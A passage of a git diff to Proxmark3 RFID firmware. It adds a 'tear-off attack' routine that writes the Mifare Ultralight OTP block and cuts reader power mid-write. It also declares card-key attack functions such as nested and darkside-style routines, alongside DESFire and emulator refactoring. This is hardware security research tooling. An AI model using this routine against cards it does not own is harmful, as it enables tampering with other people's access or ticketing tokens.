set_tracing(false); } + +// +// Tear-off attack against MFU. +// - Moebius et al +void MifareU_Otp_Tearoff() { + +// should the +// optional time be configurable via client side? +// optional authentication before? +// optional data to be written? + + if (DBGLEVEL >= DBG_ERROR) DbpString("Preparing OTP tear-off"); + + LEDsoff(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + clear_trace(); + set_tracing(true); + + StartTicks(); + +#define OTP_TEAR_OFF_TIME 1000 +#define OTP_BLK_NO 3 + + // write cmd to send, include CRC + // 1b write, 1b block, 4b data, 2 crc + uint8_t cmd[] = {MIFARE_ULC_WRITE, OTP_BLK_NO, 0xFF, 0xFF, 0xFF, 0xFF, 0, 0}; + +// User specific data to write? +// memcpy(block + 2, blockData, 4); + + AddCrc14A(cmd, sizeof(cmd) - 2); + + if (DBGLEVEL >= DBG_ERROR) DbpString("Transmitting"); + + // anticollision / select card + if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Can't select card"); + OnError(1); + return; + }; + + /* + // UL-EV1 / NTAG authentication + if (usePwd) { + uint8_t pwd[4] = {0x00}; + memcpy(pwd, datain + 4, 4); + uint8_t pack[4] = {0, 0, 0, 0}; + if (!mifare_ul_ev1_auth(pwd, pack)) { + OnError(1); + return; + } + } + */ + + // send + ReaderTransmit(cmd, sizeof(cmd), NULL); + + // Wait before cutting power. aka tear-off + LED_D_ON(); + WaitUS(OTP_TEAR_OFF_TIME); + switch_off(); + + reply_ng(CMD_HF_MFU_OTP_TEAROFF, PM3_SUCCESS, NULL, 0); + StopTicks(); + + if (DBGLEVEL >= DBG_ERROR) DbpString("Done"); +} diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index 5e4a5cf97..91adba3b1 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -1,27 +1,64 @@ //----------------------------------------------------------------------------- -// Merlok - June 2011 -// Gerhard de Koning Gans - May 2008 -// Hagen Fritsch - June 2010 +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. //----------------------------------------------------------------------------- -// Routines to support ISO 14443 type A. +// Definitions internal to the app source. //----------------------------------------------------------------------------- - #ifndef __MIFARECMD_H #define __MIFARECMD_H -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "iso14443a.h" -#include "crapto1/crapto1.h" -#include "mifareutil.h" #include "common.h" -#include "crc.h" -#include "protocols.h" -#include "parity.h" + +void MifareReadBlock(uint8_t blockNo, uint8_t keyType, uint8_t *datain); + +void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); +void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes); +void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain); +void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t *datain); +void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); +//void MifareUWriteBlockCompat(uint8_t arg0,uint8_t *datain); + +void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); +void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key); + +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key); + +void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); +void MifareAcquireNonces(uint32_t arg0, uint32_t flags); +void MifareChkKeys(uint8_t *datain); +void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareChkKeys_file(uint8_t *fn); + +void MifareEMemClr(void); +void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); +void MifareEMemGet(uint8_t blockno, uint8_t blockcnt); +int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype); +int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype); + +void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card +void MifareCGetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); +void MifareCIdent(); // is "magic chinese" card? +void MifareHasStaticNonce(); // Has the tag a static nonce? + +void MifareSetMod(uint8_t *datain); +void MifarePersonalizeUID(uint8_t keyType, uint8_t perso_option, uint64_t key); + +void MifareUSetPwd(uint8_t arg0, uint8_t *datain); +void OnSuccessMagic(); +void OnErrorMagic(uint8_t reason); + +int32_t dist_nt(uint32_t nt1, uint32_t nt2); +void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); +//void RAMFUNC SniffMifare(uint8_t param); + +void Mifare_DES_Auth1(uint8_t arg0, uint8_t *datain); +void Mifare_DES_Auth2(uint32_t arg0, uint8_t *datain); + +// Tear-off test for MFU +void MifareU_Otp_Tearoff(); + #endif diff --git a/armsrc/mifaredesfire.c b/armsrc/mifaredesfire.c index bda31790d..5b8ed289e 100644 --- a/armsrc/mifaredesfire.c +++ b/armsrc/mifaredesfire.c @@ -1,5 +1,22 @@ #include "mifaredesfire.h" +#include "common.h" +#include "proxmark3_arm.h" +#include "string.h" +#include "BigBuf.h" +#include "desfire_key.h" +#include "mifareutil.h" +#include "des.h" +#include "cmd.h" +#include "dbprint.h" +#include "fpgaloader.h" +#include "iso14443a.h" +#include "crc16.h" +#include "mbedtls/aes.h" +#include "commonutil.h" +#include "util.h" +#include "mifare.h" + #define MAX_APPLICATION_COUNT 28 #define MAX_FILE_COUNT 16 #define MAX_DESFIRE_FRAME_SIZE 60 @@ -16,8 +33,11 @@ static uint8_t deselect_cmd[] = {0xc2, 0xe0, 0xb4}; /* PCB CID CMD PAYLOAD */ //static uint8_t __res[MAX_FRAME_SIZE]; + bool InitDesfireCard() { + pcb_blocknum = 0; + iso14a_card_select_t card; iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); @@ -31,28 +51,14 @@ bool InitDesfireCard() { return true; } -// ARG0 flag enums -enum { - NONE = 0x00, - INIT = 0x01, - DISCONNECT = 0x02, - CLEARTRACE = 0x04, - BAR = 0x08, -} CmdOptions ; - void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain) { - /* ARG0 contains flags. - 0x01 = init card. - 0x02 = Disconnect - 0x03 - */ uint8_t flags = arg0; size_t datalen = arg1; uint8_t resp[RECEIVE_SIZE]; memset(resp, 0, sizeof(resp)); - if (DBGLEVEL >= 4) { + if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf(" flags : %02X", flags); Dbprintf(" len : %02X", datalen); print_result(" RX : ", datain, datalen); @@ -62,35 +68,42 @@ void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain) { clear_trace(); if (flags & INIT) { - if (!InitDesfireCard()) + if (!InitDesfireCard()) { return; + } } int len = DesfireAPDU(datain, datalen, resp); - if (DBGLEVEL >= 4) - print_result("ERR <--: ", resp, len); + if (DBGLEVEL >= DBG_EXTENDED) + print_result("RESP <--: ", resp, len); if (!len) { OnError(2); return; } - // reset the pcb_blocknum, - pcb_blocknum = 0; - if (flags & DISCONNECT) OnSuccess(); - reply_old(CMD_ACK, 1, len, 0, resp, len); + reply_mix(CMD_ACK, 1, len, 0, resp, len); } void MifareDesfireGetInformation() { + LEDsoff(); + int len = 0; iso14a_card_select_t card; uint8_t resp[PM3_CMD_DATA_SIZE] = {0x00}; - uint8_t dataout[PM3_CMD_DATA_SIZE] = {0x00}; + struct p { + uint8_t isOK; + uint8_t uid[7]; + uint8_t versionHW[7]; + uint8_t versionSW[7]; + uint8_t details[14]; + } PACKED payload; + /* 1 = PCB 1 2 = cid 2 @@ -107,61 +120,65 @@ void MifareDesfireGetInformation() { // card select - information if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) { if (DBGLEVEL >= DBG_ERROR) DbpString("Can't select card"); - OnError(1); + payload.isOK = 1; // 2 == can not select + reply_ng(CMD_HF_DESFIRE_INFO, PM3_ESOFT, (uint8_t *)&payload, sizeof(payload)); + switch_off(); return; } if (card.uidlen != 7) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("Wrong UID size. Expected 7byte got %d", card.uidlen); - OnError(2); + payload.isOK = 2; // 2 == WRONG UID + reply_ng(CMD_HF_DESFIRE_INFO, PM3_ESOFT, (uint8_t *)&payload, sizeof(payload)); + switch_off(); return; } - - memcpy(dataout, card.uid, 7); + // add uid. + memcpy(payload.uid, card.uid, sizeof(payload.uid)); LED_A_ON(); - LED_B_OFF(); - LED_C_OFF(); - - uint8_t cmd[] = {GET_VERSION}; + uint8_t cmd[] = {GET_VERSION, 0x00, 0x00, 0x00}; size_t cmd_len = sizeof(cmd); len = DesfireAPDU(cmd, cmd_len, resp); if (!len) { print_result("ERROR <--: ", resp, len); - OnError(3); + payload.isOK = 3; // 3 == DOESNT ANSWER TO GET_VERSION + reply_ng(CMD_HF_DESFIRE_INFO, PM3_ESOFT, (uint8_t *)&payload, sizeof(payload)); + switch_off(); return; } - LED_A_OFF(); - LED_B_ON(); - memcpy(dataout + 7, resp + 3, 7); + memcpy(payload.versionHW, resp + 1, sizeof(payload.versionHW)); // ADDITION_FRAME 1 cmd[0] = ADDITIONAL_FRAME; len = DesfireAPDU(cmd, cmd_len, resp); if (!len) { print_result("ERROR <--: ", resp, len); - OnError(3); + payload.isOK = 3; // 3 == DOESNT ANSWER TO GET_VERSION + reply_ng(CMD_HF_DESFIRE_INFO, PM3_ESOFT, (uint8_t *)&payload, sizeof(payload)); + switch_off(); return; } - - LED_B_OFF(); - LED_C_ON(); - memcpy(dataout + 7 + 7, resp + 3, 7); + memcpy(payload.versionSW, resp + 1, sizeof(payload.versionSW)); // ADDITION_FRAME 2 len = DesfireAPDU(cmd, cmd_len, resp); if (!len) { print_result("ERROR <--: ", resp, len); - OnError(3); + payload.isOK = 3; // 3 == DOESNT ANSWER TO GET_VERSION + reply_ng(CMD_HF_DESFIRE_INFO, PM3_ESOFT, (uint8_t *)&payload, sizeof(payload)); + switch_off(); return; } - memcpy(dataout + 7 + 7 + 7, resp + 3, 14); - - reply_old(CMD_ACK, 1, 0, 0, dataout, sizeof(dataout)); + memcpy(payload.details, resp + 1, sizeof(payload.details)); + LED_B_ON(); + reply_ng(CMD_HF_DESFIRE_INFO, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); + LED_B_OFF(); + // reset the pcb_blocknum, pcb_blocknum = 0; OnSuccess(); @@ -433,15 +450,9 @@ void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) desfirekey_t key = &defaultkey; Desfire_aes_key_new(keybytes, key); - AesCtx ctx; + mbedtls_aes_context ctx; uint8_t IV[16] = {0x00}; - if (AesCtxIni(&ctx, IV, key->data, KEY128, CBC) < 0) { - if (DBGLEVEL >= 4) { - DbpString("AES context failed to init"); - } - OnError(7); - return; - } + mbedtls_aes_init(&ctx); cmd[0] = AUTHENTICATE_AES; cmd[1] = 0x00; //keynumber @@ -457,13 +468,27 @@ void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) memcpy(encRndB, resp + 3, 16); // dekryptera tagnonce. - AesDecrypt(&ctx, encRndB, decRndB, 16); + if (mbedtls_aes_setkey_dec(&ctx, key->data, 128) != 0) { + if (DBGLEVEL >= DBG_EXTENDED) { + DbpString("mbedtls_aes_setkey_dec failed"); + } + OnError(7); + return; + } + mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, 16, IV, encRndB, decRndB); rol(decRndB, 16); uint8_t nonce[16] = {0x00}; memcpy(both, nonce, 16); memcpy(both + 16, decRndB, 16); uint8_t encBoth[32] = {0x00}; - AesEncrypt(&ctx, both, encBoth, 32); + if (mbedtls_aes_setkey_enc(&ctx, key->data, 128) != 0) { + if (DBGLEVEL >= DBG_EXTENDED) { + DbpString("mbedtls_aes_setkey_enc failed"); + } + OnError(7); + return; + } + mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_ENCRYPT, 32, IV, both, encBoth); cmd[0] = ADDITIONAL_FRAME; memcpy(cmd + 1, encBoth, 32); @@ -494,7 +519,7 @@ void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) } OnSuccess(); - reply_old(CMD_ACK, 1, len, 0, resp, len); + reply_mix(CMD_ACK, 1, len, 0, resp, len); } // 3 different ISO ways to send data to a DESFIRE (direct, capsuled, capsuled ISO) @@ -511,23 +536,23 @@ int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout) { wrappedLen = CreateAPDU(cmd, cmd_len, wCmd); - if (DBGLEVEL >= 4) + if (DBGLEVEL >= DBG_EXTENDED) print_result("WCMD <--: ", wCmd, wrappedLen); ReaderTransmit(wCmd, wrappedLen, NULL); len = ReaderReceive(resp, par); if (!len) { - if (DBGLEVEL >= 4) Dbprintf("fukked"); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("fukked"); return false; //DATA LINK ERROR } // if we received an I- or R(ACK)-Block with a block number equal to the // current block number, toggle the current block number - else if (len >= 4 // PCB+CID+CRC = 4 bytes + if (len >= 4 // PCB+CID+CRC = 4 bytes && ((resp[0] & 0xC0) == 0 // I-Block || (resp[0] & 0xD0) == 0x80) // R-Block with ACK bit set to 0 && (resp[0] & 0x01) == pcb_blocknum) { // equal block numbers - pcb_blocknum ^= 1; //toggle next block + pcb_blocknum ^= 1; //toggle next block } memcpy(dataout, resp, len); @@ -542,15 +567,22 @@ size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout) { uint8_t cmd[cmdlen]; memset(cmd, 0, cmdlen); - cmd[0] = 0x0A; // 0x0A = send cid, 0x02 = no cid. + cmd[0] = 0x02; // 0x0A = send cid, 0x02 = no cid. cmd[0] |= pcb_blocknum; // OR the block number into the PCB - cmd[1] = 0x00; // CID: 0x00 //TODO: allow multiple selected cards + + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("pcb_blocknum %d == %d ", pcb_blocknum, cmd[0] ); + + cmd[1] = 0x90; // CID: 0x00 //TODO: allow multiple selected cards memcpy(cmd + 2, datain, len); AddCrc14A(cmd, len + 2); - + +/* +hf 14a apdu -sk 90 60 00 00 00 +hf 14a apdu -k 90 AF 00 00 00 +hf 14a apdu 90AF000000 +*/ memcpy(dataout, cmd, cmdlen); - return cmdlen; } @@ -562,7 +594,9 @@ size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout) { void OnSuccess() { pcb_blocknum = 0; ReaderTransmit(deselect_cmd, 3, NULL); - mifare_ultra_halt(); + if (mifare_ultra_halt()) { + if (DBGLEVEL >= DBG_ERROR) Dbprintf("Halt error"); + } switch_off(); } diff --git a/armsrc/mifaredesfire.h b/armsrc/mifaredesfire.h index 7547dfcb2..8daed69aa 100644 --- a/armsrc/mifaredesfire.h +++ b/armsrc/mifaredesfire.h @@ -1,13 +1,26 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Definitions internal to the app source. +//----------------------------------------------------------------------------- #ifndef __MIFAREDESFIRE_H #define __MIFAREDESFIRE_H #include "common.h" -#include "proxmark3.h" -#include "apps.h" -#include "string.h" -#include "BigBuf.h" -#include "iso14443a.h" -#include "desfire_key.h" -#include "mifareutil.h" -#include "des.h" + +bool InitDesfireCard(); +void MifareSendCommand(uint8_t arg0, uint8_t arg1, uint8_t *datain); +void MifareDesfireGetInformation(); +void MifareDES_Auth1(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); +void ReaderMifareDES(uint32_t param, uint32_t param2, uint8_t *datain); +int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout); +size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout); +void OnSuccess(); +void OnError(uint8_t reason); + #endif diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 714beb284..0fbfecb85 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -20,19 +20,24 @@ // /!\ Printing Debug message is disrupting emulation, // Only use with caution during debugging +#include "mifaresim.h" + +#include #include "iso14443a.h" -#include "mifaresim.h" -#include "crapto1/crapto1.h" #include "BigBuf.h" #include "string.h" #include "mifareutil.h" #include "fpgaloader.h" -#include "proxmark3.h" -#include "usb_cdc.h" +#include "proxmark3_arm.h" #include "cmd.h" #include "protocols.h" -#include "apps.h" +#include "appmain.h" +#include "util.h" +#include "commonutil.h" +#include "crc16.h" +#include "dbprint.h" +#include "ticks.h" static bool IsTrailerAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { uint8_t sector_trailer[16]; @@ -42,30 +47,36 @@ static bool IsTrailerAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t act | ((sector_trailer[8] >> 7) & 0x01); switch (action) { case AC_KEYA_READ: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_KEYA_READ"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_KEYA_READ"); return false; } case AC_KEYA_WRITE: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_KEYA_WRITE"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_KEYA_WRITE"); return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03))); } case AC_KEYB_READ: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_KEYB_READ"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_KEYB_READ"); return (keytype == AUTHKEYA && (AC == 0x00 || AC == 0x02 || AC == 0x01)); } case AC_KEYB_WRITE: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_KEYB_WRITE"); - return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x04)) + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_KEYB_WRITE"); + return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03))); } case AC_AC_READ: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_AC_READ"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_AC_READ"); return ((keytype == AUTHKEYA) || (keytype == AUTHKEYB && !(AC == 0x00 || AC == 0x02 || AC == 0x01))); } case AC_AC_WRITE: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsTrailerAccessAllowed: AC_AC_WRITE"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsTrailerAccessAllowed: AC_AC_WRITE"); return ((keytype == AUTHKEYA && (AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x03 || AC == 0x05))); } @@ -93,46 +104,54 @@ static bool IsDataAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action AC = ((sector_trailer[7] >> 2) & 0x04) | ((sector_trailer[8] << 1) & 0x02) | ((sector_trailer[8] >> 4) & 0x01); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed: case 0x00 - %02x", AC); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed: case 0x00 - %02x", AC); break; } case 0x01: { AC = ((sector_trailer[7] >> 3) & 0x04) | ((sector_trailer[8] >> 0) & 0x02) | ((sector_trailer[8] >> 5) & 0x01); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed: case 0x01 - %02x", AC); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed: case 0x01 - %02x", AC); break; } case 0x02: { AC = ((sector_trailer[7] >> 4) & 0x04) | ((sector_trailer[8] >> 1) & 0x02) | ((sector_trailer[8] >> 6) & 0x01); - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed: case 0x02 - %02x", AC); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed: case 0x02 - %02x", AC); break; } default: - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed: Error"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed: Error"); return false; } switch (action) { case AC_DATA_READ: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed - AC_DATA_READ: OK"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed - AC_DATA_READ: OK"); return ((keytype == AUTHKEYA && !(AC == 0x03 || AC == 0x05 || AC == 0x07)) || (keytype == AUTHKEYB && !(AC == 0x07))); } case AC_DATA_WRITE: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed - AC_DATA_WRITE: OK"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed - AC_DATA_WRITE: OK"); return ((keytype == AUTHKEYA && (AC == 0x00)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x04 || AC == 0x06 || AC == 0x03))); } case AC_DATA_INC: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("IsDataAccessAllowed - AC_DATA_INC: OK"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("IsDataAccessAllowed - AC_DATA_INC: OK"); return ((keytype == AUTHKEYA && (AC == 0x00)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06))); } case AC_DATA_DEC_TRANS_REST: { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("AC_DATA_DEC_TRANS_REST: OK"); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("AC_DATA_DEC_TRANS_REST: OK"); return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x06 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06 || AC == 0x01))); } @@ -149,7 +168,7 @@ static bool IsAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { } } -static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { +static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { // SPEC: https://www.nxp.com/docs/en/application-note/AN10833.pdf // ATQA @@ -160,25 +179,25 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * // SAK static uint8_t rSAK_Mini = 0x09; // mifare Mini - static uint8_t rSAK_1k = 0x08; // mifare 1k - static uint8_t rSAK_2k = 0x08; // mifare 2k with RATS support - static uint8_t rSAK_4k = 0x18; // mifare 4k + static uint8_t rSAK_1k = 0x08; // mifare 1k + static uint8_t rSAK_2k = 0x08; // mifare 2k with RATS support + static uint8_t rSAK_4k = 0x18; // mifare 4k - static uint8_t rUIDBCC1[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 1st cascade level - static uint8_t rUIDBCC1b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 1st cascade level, last 4 bytes - static uint8_t rUIDBCC1b3[] = {0x00, 0x00, 0x00}; // UID 1st cascade level, last 3 bytes - static uint8_t rUIDBCC1b2[] = {0x00, 0x00}; // UID 1st cascade level, last 2 bytes - static uint8_t rUIDBCC1b1[] = {0x00}; // UID 1st cascade level, last byte - static uint8_t rUIDBCC2[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 2nd cascade level - static uint8_t rUIDBCC2b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 2st cascade level, last 4 bytes - static uint8_t rUIDBCC2b3[] = {0x00, 0x00, 0x00}; // UID 2st cascade level, last 3 bytes - static uint8_t rUIDBCC2b2[] = {0x00, 0x00}; // UID 2st cascade level, last 2 bytes - static uint8_t rUIDBCC2b1[] = {0x00}; // UID 2st cascade level, last byte - static uint8_t rUIDBCC3[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 3nd cascade level - static uint8_t rUIDBCC3b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 3st cascade level, last 4 bytes - static uint8_t rUIDBCC3b3[] = {0x00, 0x00, 0x00}; // UID 3st cascade level, last 3 bytes - static uint8_t rUIDBCC3b2[] = {0x00, 0x00}; // UID 3st cascade level, last 2 bytes - static uint8_t rUIDBCC3b1[] = {0x00}; // UID 3st cascade level, last byte + static uint8_t rUIDBCC1[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 1st cascade level + static uint8_t rUIDBCC1b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 1st cascade level, last 4 bytes + static uint8_t rUIDBCC1b3[] = {0x00, 0x00, 0x00}; // UID 1st cascade level, last 3 bytes + static uint8_t rUIDBCC1b2[] = {0x00, 0x00}; // UID 1st cascade level, last 2 bytes + static uint8_t rUIDBCC1b1[] = {0x00}; // UID 1st cascade level, last byte + static uint8_t rUIDBCC2[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 2nd cascade level + static uint8_t rUIDBCC2b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 2st cascade level, last 4 bytes + static uint8_t rUIDBCC2b3[] = {0x00, 0x00, 0x00}; // UID 2st cascade level, last 3 bytes + static uint8_t rUIDBCC2b2[] = {0x00, 0x00}; // UID 2st cascade level, last 2 bytes + static uint8_t rUIDBCC2b1[] = {0x00}; // UID 2st cascade level, last byte + static uint8_t rUIDBCC3[] = {0x00, 0x00, 0x00, 0x00, 0x00}; // UID 3nd cascade level + static uint8_t rUIDBCC3b4[] = {0x00, 0x00, 0x00, 0x00}; // UID 3st cascade level, last 4 bytes + static uint8_t rUIDBCC3b3[] = {0x00, 0x00, 0x00}; // UID 3st cascade level, last 3 bytes + static uint8_t rUIDBCC3b2[] = {0x00, 0x00}; // UID 3st cascade level, last 2 bytes + static uint8_t rUIDBCC3b1[] = {0x00}; // UID 3st cascade level, last byte static uint8_t rATQA[] = {0x00, 0x00}; // Current ATQA static uint8_t rSAK[] = {0x00, 0x00, 0x00}; // Current SAK, CRC @@ -236,35 +255,36 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * if ((flags & FLAG_MF_MINI) == FLAG_MF_MINI) { memcpy(rATQA, rATQA_Mini, sizeof(rATQA)); rSAK[0] = rSAK_Mini; - Dbprintf("Mifare Mini"); + if (DBGLEVEL > DBG_NONE) Dbprintf("Enforcing Mifare Mini ATQA/SAK"); } else if ((flags & FLAG_MF_1K) == FLAG_MF_1K) { memcpy(rATQA, rATQA_1k, sizeof(rATQA)); rSAK[0] = rSAK_1k; - Dbprintf("Mifare 1K"); + if (DBGLEVEL > DBG_NONE) Dbprintf("Enforcing Mifare 1K ATQA/SAK"); } else if ((flags & FLAG_MF_2K) == FLAG_MF_2K) { memcpy(rATQA, rATQA_2k, sizeof(rATQA)); rSAK[0] = rSAK_2k; *rats = rRATS; *rats_len = sizeof(rRATS); - Dbprintf("Mifare 2K with RATS support"); + if (DBGLEVEL > DBG_NONE) Dbprintf("Enforcing Mifare 2K ATQA/SAK with RATS support"); } else if ((flags & FLAG_MF_4K) == FLAG_MF_4K) { memcpy(rATQA, rATQA_4k, sizeof(rATQA)); rSAK[0] = rSAK_4k; - Dbprintf("Mifare 4K"); + if (DBGLEVEL > DBG_NONE) Dbprintf("Enforcing Mifare 4K ATQA/SAK"); } // Prepare UID arrays - if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { // get UID from datain + if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { // get UID from datain memcpy(rUIDBCC1, datain, 4); *uid_len = 4; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MifareSimInit - FLAG_4B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_4B_UID_IN_DATA, flags, rUIDBCC1); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("MifareSimInit - FLAG_4B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_4B_UID_IN_DATA, flags, rUIDBCC1); // save CUID *cuid = bytes_to_num(rUIDBCC1, 4); // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; - if (DBGLEVEL >= DBG_NONE) { + if (DBGLEVEL > DBG_NONE) { Dbprintf("4B UID: %02x%02x%02x%02x", rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3]); } @@ -275,7 +295,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, tag_response_info_t * memcpy(&rUIDBCC1[1], datain, 3); memcpy(rUIDBCC2, datain + 3, 4); *uid_len = 7; - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("MifareSimInit - FLAG_7B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_7B_UID_IN_DATA, flags, rUIDBCC1); + if 